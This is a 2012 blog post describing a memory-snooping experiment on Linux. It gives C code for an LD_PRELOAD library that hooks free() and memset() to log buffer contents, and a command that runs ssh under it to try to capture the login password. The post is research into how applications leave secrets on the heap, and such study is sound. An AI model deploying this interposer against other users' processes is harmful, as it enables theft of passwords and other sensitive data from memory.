## Friday, September 14, 2012

### All your heap are belong to us

This is a port and slight expansion of the ideas presented here.

The premise of that article is that underneath the interface provided by an application the handling of sensitive information is done in memory provided on the heap (via malloc/new). With that in mind, capturing the memory before it was released by the application would potentially expose hidden details. The system used in that article was OSX and the applications were Twitter-based but I decided to port to Linux and look at ssh.

First, the port:

#include <stdio.h>
#define __USE_GNU
#include <dlfcn.h>

void (*real_free)(void *);

void free (void * mem) {
char buff[256] = {0}, * p = mem;
int i = 0;

if (! mem) { return; }

while (*p) {
buff[i++] = *p++;
if (i > 254)
break;
}

buff[i] = 0;
fprintf (stderr, "[free] %s\n", buff);

real_free = dlsym (RTLD_NEXT, "free");
real_free (mem);
}


Nothing new here, just a version of free that will be interposed by this library. Compiling that and running the following:

LD_PRELOAD=/tmp/heapgrab.so ssh ezpz@sandbox 2>heapgrab.log


Produces a log with a substantial amount of information in it. However, the password is not included anywhere. It seems that ssh sanitizes buffers before freeing them - the next logical step is to provide a version of memset that does the same thing to try and capture where the memory is sanitized:

void* (*real_memset)(void*, int, size_t);

void * memset (void * mem, int c, size_t size) {
char buff[256] = {0}, * p = mem;
int i = 0;

if (! mem ) { return; }

while (*p) {
buff[i++] = *p++;
if (i > (size - 1) || i > 254)
break;
}

buff[i] = 0;
fprintf (stderr, "[memset] %s\n", buff);

real_memset = dlsym(RTLD_NEXT, "memset");
return real_memset (mem, c, size);
}


With that, our log now contains the following:

[free] publickey,password
[free] keyboard-interactive
[free] publickey